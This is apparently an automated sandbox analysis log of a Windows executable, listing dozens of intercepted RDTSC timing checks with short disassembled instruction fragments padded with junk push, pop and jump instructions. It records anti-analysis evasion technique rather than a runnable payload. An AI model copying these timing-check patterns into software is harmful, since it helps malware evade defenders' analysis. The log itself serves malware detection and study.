Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C33FE second address: 3C3406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C6F40 second address: 3C6F46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C71B2 second address: 3C71B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C71B6 second address: 3C71CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4AE04F8886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F4AE04F888Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C71CA second address: 3C71D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C74B8 second address: 3C74BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C74BC second address: 3C74C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C74C4 second address: 3C74C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CFB41 second address: 3CFB73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4AE0E87EC0h 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CFB73 second address: 3CFB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CDB9B second address: 3CDBB5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4AE0E87EC2h 0x00000008 jbe 00007F4AE0E87EB6h 0x0000000e jg 00007F4AE0E87EB6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CE14C second address: 3CE150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CE150 second address: 3CE15C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CE15C second address: 3CE160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CE3CF second address: 3CE3DC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CE3DC second address: 3CE3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CECBC second address: 3CECC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF2C0 second address: 3CF2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jng 00007F4AE04F8892h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF2CD second address: 3CF2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF594 second address: 3CF611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnl 00007F4AE04F88B4h 0x0000000b jmp 00007F4AE04F888Eh 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jg 00007F4AE04F8886h 0x00000019 push edx 0x0000001a pop edx 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jnl 00007F4AE04F889Dh 0x00000025 push esi 0x00000026 push edx 0x00000027 pop edx 0x00000028 jng 00007F4AE04F8886h 0x0000002e pop esi 0x0000002f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF8BA second address: 3CF8BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF8BE second address: 3CF8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F4AE04F888Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e ja 00007F4AE04F8886h 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3CF8DC second address: 3CF8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 32E90E second address: 32E914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 32E914 second address: 32E924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F4AE0E87EBBh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 32E924 second address: 32E929 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8531 second address: 3D8538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8538 second address: 3D8558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F4AE04F8891h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8558 second address: 3D8571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE0E87EC3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D7C4A second address: 3D7C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D7C53 second address: 3D7C6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F4AE0E87EC6h 0x0000000e jmp 00007F4AE0E87EBAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D7F2E second address: 3D7F32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D7F32 second address: 3D7F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D80B8 second address: 3D80D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8894h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D823A second address: 3D823F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D823F second address: 3D8245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8245 second address: 3D8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4AE0E87EB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8251 second address: 3D8259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3D8259 second address: 3D8271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE0E87EC0h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E0456 second address: 3E045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DE5F7 second address: 3DE612 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007F4AE0E87EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DE612 second address: 3DE621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DE963 second address: 3DE968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEC49 second address: 3DEC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEC4F second address: 3DEC53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEDE9 second address: 3DEDEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEDEF second address: 3DEDF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEF89 second address: 3DEF8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEF8F second address: 3DEFA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F4AE0E87EB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DEFA6 second address: 3DEFAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DF114 second address: 3DF11E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4AE0E87EB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DF11E second address: 3DF124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3DF124 second address: 3DF12A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E8F26 second address: 3E8F42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8898h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E8F42 second address: 3E8F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E89E0 second address: 3E89EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4AE04F8886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E8B22 second address: 3E8B36 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4AE0E87EB8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F4AE0E87EB6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3E8B36 second address: 3E8B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3EBDF6 second address: 3EBDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3EBDFA second address: 3EBE1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8899h 0x00000007 ja 00007F4AE04F8886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F6261 second address: 3F6272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE0E87EBBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F6272 second address: 3F627A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F5E0E second address: 3F5E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F5E14 second address: 3F5E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F5E1D second address: 3F5E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3F5E21 second address: 3F5E2B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 400966 second address: 400975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F4AE0E87EB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 400975 second address: 400996 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4AE04F8886h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F4AE04F8891h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 400996 second address: 40099C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31F6CF second address: 31F6D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31F6D5 second address: 31F6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31F6E0 second address: 31F6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 31F6E5 second address: 31F6EF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4AE0E87EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 40F08A second address: 40F08E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 40F350 second address: 40F354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 40F354 second address: 40F36A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8892h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 40F36A second address: 40F375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 413D74 second address: 413DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Ch 0x00000007 jnl 00007F4AE04F8886h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F4AE04F8893h 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 423C1A second address: 423C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4AE0E87EB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4271D0 second address: 4271DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jbe 00007F4AE04F8886h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4271DE second address: 427232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F4AE0E87EBCh 0x0000000e jmp 00007F4AE0E87EBAh 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F4AE0E87EC5h 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F4AE0E87EC5h 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 popad 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434C55 second address: 434C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AC4 second address: 434AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AC8 second address: 434ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434ACC second address: 434ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007F4AE0E87EB6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434ADC second address: 434AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AE0 second address: 434AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AE6 second address: 434AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AEC second address: 434AF6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4AE0E87EC2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AF6 second address: 434AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434AFC second address: 434B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4AE0E87EC9h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434B20 second address: 434B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 434B24 second address: 434B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4AE0E87EBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 436202 second address: 436206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 436206 second address: 43620C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 4392BC second address: 4392C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 439414 second address: 43941A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 43941A second address: 43941E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 43941E second address: 439422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
